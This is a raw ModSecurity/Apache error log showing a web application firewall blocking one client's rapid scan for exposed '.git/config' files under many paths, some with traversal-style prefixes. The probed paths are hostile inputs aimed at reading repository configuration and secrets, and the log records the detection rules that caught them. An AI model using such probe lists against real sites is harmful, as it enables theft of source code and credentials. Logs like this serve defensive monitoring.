[Mon Jul 17 02:19:51.088022 2023] [:error] [pid 673638] [client 3.143.209.15:52320] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_ZQAAAAM&quot;]
[Mon Jul 17 02:19:51.088170 2023] [:error] [pid 673638] [client 3.143.209.15:52320] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_ZQAAAAM&quot;]
[Mon Jul 17 02:19:51.089056 2023] [:error] [pid 673636] [client 3.143.209.15:52312] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZAAAAAE&quot;]
[Mon Jul 17 02:19:51.089227 2023] [:error] [pid 673636] [client 3.143.209.15:52312] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZAAAAAE&quot;]
[Mon Jul 17 02:19:51.089347 2023] [:error] [pid 673636] [client 3.143.209.15:52312] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZAAAAAE&quot;]
[Mon Jul 17 02:19:51.092134 2023] [:error] [pid 673635] [client 3.143.209.15:52362] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbAAAAAA&quot;]
[Mon Jul 17 02:19:51.092380 2023] [:error] [pid 673635] [client 3.143.209.15:52362] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbAAAAAA&quot;]
[Mon Jul 17 02:19:51.092568 2023] [:error] [pid 673635] [client 3.143.209.15:52362] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbAAAAAA&quot;]
[Mon Jul 17 02:19:51.106521 2023] [:error] [pid 673637] [client 3.143.209.15:52336] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlQQAAAAI&quot;]
[Mon Jul 17 02:19:51.106699 2023] [:error] [pid 673637] [client 3.143.209.15:52336] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlQQAAAAI&quot;]
[Mon Jul 17 02:19:51.106825 2023] [:error] [pid 673637] [client 3.143.209.15:52336] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlQQAAAAI&quot;]
[Mon Jul 17 02:19:51.135242 2023] [:error] [pid 674855] [client 3.143.209.15:52258] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /application/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrdtQAAAAc&quot;]
[Mon Jul 17 02:19:51.135465 2023] [:error] [pid 674855] [client 3.143.209.15:52258] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrdtQAAAAc&quot;]
[Mon Jul 17 02:19:51.135634 2023] [:error] [pid 674855] [client 3.143.209.15:52258] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrdtQAAAAc&quot;]
[Mon Jul 17 02:19:51.305994 2023] [:error] [pid 674854] [client 3.143.209.15:52366] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-kwAAAAY&quot;]
[Mon Jul 17 02:19:51.306226 2023] [:error] [pid 674854] [client 3.143.209.15:52366] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-kwAAAAY&quot;]
[Mon Jul 17 02:19:51.306364 2023] [:error] [pid 674854] [client 3.143.209.15:52366] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;ZLSJJy-vjPWa8Z17cvt-kwAAAAY&quot;]
[Mon Jul 17 02:19:51.312294 2023] [:error] [pid 673639] [client 3.143.209.15:52372] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSeQAAAAQ&quot;]
[Mon Jul 17 02:19:51.312498 2023] [:error] [pid 673639] [client 3.143.209.15:52372] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSeQAAAAQ&quot;]
[Mon Jul 17 02:19:51.312629 2023] [:error] [pid 673639] [client 3.143.209.15:52372] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSeQAAAAQ&quot;]
[Mon Jul 17 02:19:51.323350 2023] [:error] [pid 673785] [client 3.143.209.15:52380] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /aomanalyzer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLaAAAAAU&quot;]
[Mon Jul 17 02:19:51.323551 2023] [:error] [pid 673785] [client 3.143.209.15:52380] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLaAAAAAU&quot;]
[Mon Jul 17 02:19:51.323705 2023] [:error] [pid 673785] [client 3.143.209.15:52380] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLaAAAAAU&quot;]
[Mon Jul 17 02:19:51.326007 2023] [:error] [pid 673636] [client 3.143.209.15:52400] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /dev/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZQAAAAE&quot;]
[Mon Jul 17 02:19:51.326209 2023] [:error] [pid 673636] [client 3.143.209.15:52400] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZQAAAAE&quot;]
[Mon Jul 17 02:19:51.326354 2023] [:error] [pid 673636] [client 3.143.209.15:52400] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZQAAAAE&quot;]
[Mon Jul 17 02:19:51.327794 2023] [:error] [pid 673638] [client 3.143.209.15:52388] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-includes/js/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_ZgAAAAM&quot;]
[Mon Jul 17 02:19:51.328051 2023] [:error] [pid 673638] [client 3.143.209.15:52388] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_ZgAAAAM&quot;]
[Mon Jul 17 02:19:51.328189 2023] [:error] [pid 673638] [client 3.143.209.15:52388] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_ZgAAAAM&quot;]
[Mon Jul 17 02:19:51.332438 2023] [:error] [pid 673635] [client 3.143.209.15:52408] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static../.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbQAAAAA&quot;]
[Mon Jul 17 02:19:51.332589 2023] [:error] [pid 673635] [client 3.143.209.15:52408] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static../.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbQAAAAA&quot;]
[Mon Jul 17 02:19:51.332732 2023] [:error] [pid 673635] [client 3.143.209.15:52408] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static../.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbQAAAAA&quot;]
[Mon Jul 17 02:19:51.344401 2023] [:error] [pid 673637] [client 3.143.209.15:52450] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css../.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlQgAAAAI&quot;]
